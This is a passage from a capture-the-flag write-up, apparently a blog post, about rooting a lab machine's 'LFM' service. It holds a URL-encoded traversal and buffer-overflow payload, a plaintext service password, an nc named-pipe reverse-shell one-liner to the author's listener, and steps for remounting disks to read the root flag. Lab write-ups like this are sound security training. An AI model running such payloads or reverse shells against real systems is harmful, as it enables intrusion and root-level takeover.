CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%6b%66%04%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%01%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%6b%66%04%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%02%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%6b%66%04%7f%00%00%4b%5c%40%00%00%00%00%00%80%9e%75%66%04%7f%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%00%f3%5f%66%04%7f%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!

AAAAAAAA

========
[+] Opening connection to 10.10.10.173 on port 8888: Done
[*] Switching to interactive mode
LFM 406 MD5 NOT MATCH
/bin/sh: 1: : not found
$ id
uid=0(root) gid=0(root) groups=0(root)

Gave a root shell. Unfortunately the shell was very unstable, so I set a listener

kali@kali:~/lfm$ nc -nvlp 4444

Then re-ran my exploit, very quickly running the following in the shell

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 4444 >/tmp/f

Which gave me

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.173] 44684
/bin/sh: 0: can't access tty; job control turned off
#

A far more stable root shell. I went to get the flag

# cd /root
# ls -la
total 23
drwxr-xr-x  7 root root  1024 Dec  3  2019 .
drwxr-xr-x 23 root root  4096 Jan 12  2020 ..
lrwxrwxrwx  1 root root     9 May 22  2019 .bash_history -> /dev/null
drwx------  2 root root  1024 May 21  2019 .cache
drwx------  3 root root  1024 May 21  2019 .gnupg
drwxr-xr-x  3 root root  1024 Dec  3  2019 .local
drwx------  2 root root 12288 May 21  2019 lost+found
drwxr-xr-x  3 root root  1024 May 21  2019 snap
-rw-------  1 root root  1606 May 22  2019 .viminfo

It wasn’t there. But I was able to spot something interesting on the file system

# df
Filesystem     1K-blocks    Used Available Use% Mounted on
udev              976616       0    976616   0% /dev
tmpfs             201728   10080    191648   5% /run
/dev/sda2       15465340 4306624  10303472  30% /
tmpfs            1008624       0   1008624   0% /dev/shm
tmpfs               5120       0      5120   0% /run/lock
tmpfs            1008624       0   1008624   0% /sys/fs/cgroup
/dev/loop0         55552   55552         0 100% /snap/lxd/10756
/dev/loop1         56192   56192         0 100% /snap/lxd/12631
/dev/loop2         68352   68352         0 100% /snap/lxd/9239
/dev/loop3         91264   91264         0 100% /snap/core/8268
/dev/loop4         91264   91264         0 100% /snap/core/8039
/dev/sda4        1015632   24632    869760   3% /home
/dev/sda3         999320  150760    779748  17% /boot
/dev/sdb1         498514    2331    465924   1% /root
overlay         15465340 4306624  10303472  30% /var/lib/docker/overlay2/ec390271124fa408a543517012e50a6673a586fc7f3b729d58dd4e8e40e57906/merged
shm                65536       0     65536   0% /var/lib/docker/containers/110120fbfb73b13fb67f60cd2bce42dba964944e1205e44d386d4ec67b9f17f1/mounts/shm

Most of the system is mounted from /dev/sda2, but /root is on /dev/sdb1, so I re mounted /dev/sda2

# mkdir /mnt/newroot

# mount /dev/sda2 /mnt/newroot

# cd /mnt/newroot
# ls -la
total 112
drwxr-xr-x 23 root root  4096 Jan 12  2020 .
drwxr-xr-x  3 root root  4096 Dec 22 13:38 ..
drwxr-xr-x  2 root root  4096 Jan 12  2020 bin
drwxr-xr-x  2 root root  4096 Dec  3  2019 boot
drwxr-xr-x  4 root root  4096 Dec  3  2019 dev
drwxr-xr-x 96 root root  4096 Jan 13  2020 etc
drwxr-xr-x  2 root root  4096 Dec  3  2019 home
lrwxrwxrwx  1 root root    33 Jan 12  2020 initrd.img -> boot/initrd.img-4.18.0-25-generic
lrwxrwxrwx  1 root root    33 Jan 12  2020 initrd.img.old -> boot/initrd.img-4.18.0-20-generic
drwxr-xr-x 22 root root  4096 Jan  9  2020 lib
drwxr-xr-x  2 root root  4096 Dec  3  2019 lib64
drwx------  2 root root 16384 Oct 23  2018 lost+found
drwxr-xr-x  2 root root  4096 Dec  3  2019 media
drwxr-xr-x  3 root root  4096 Dec 22 13:38 mnt
drwxr-xr-x  5 root root  4096 Dec  3  2019 opt
drwxr-xr-x  2 root root  4096 Dec  3  2019 proc
drwx------  8 root root  4096 Dec  3  2019 root
drwxr-xr-x 10 root root  4096 Dec  3  2019 run
drwxr-xr-x  2 root root 12288 Jan  9  2020 sbin
drwxr-xr-x  5 root root  4096 Dec  3  2019 snap
drwxr-xr-x  2 root root  4096 Dec  3  2019 srv
drwxr-xr-x  2 root root  4096 Dec  3  2019 sys
drwxrwxrwt 11 root root  4096 Dec 22 13:36 tmp
drwxr-xr-x 10 root root  4096 Dec  3  2019 usr
drwxr-xr-x 13 root root  4096 Dec  3  2019 var
lrwxrwxrwx  1 root root    30 Jan 12  2020 vmlinuz -> boot/vmlinuz-4.18.0-25-generic
lrwxrwxrwx  1 root root    30 Jan 12  2020 vmlinuz.old -> boot/vmlinuz-4.18.0-20-generic

# cd root
# ls -la
total 68
drwx------  8 root root  4096 Dec  3  2019 .
drwxr-xr-x 23 root root  4096 Jan 12  2020 ..
lrwxrwxrwx  1 root root     9 May 20  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Aug  7  2018 .bashrc
drwx------  2 root root  4096 Dec  3  2019 .cache
drwx------  3 root root  4096 Dec  3  2019 .gnupg
drwxr-xr-x  3 root root  4096 Dec  3  2019 .local
-rw-r--r--  1 root root   148 Aug  7  2018 .profile
-r--------  1 root root    33 May 21  2019 root.txt
drwxr-xr-x  2 root root  4096 Dec  3  2019 secret
drwxr-xr-x  3 root root  4096 Dec  3  2019 snap
drwx------  2 root root  4096 Dec  3  2019 .ssh
-rw-------  1 root root 18560 May 22  2019 .viminfo
-rw-r--r--  1 root root    35 May 22  2019 .vimrc

# cat root.txt
[REDACTED]

And I finally had the hard earned root flag

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.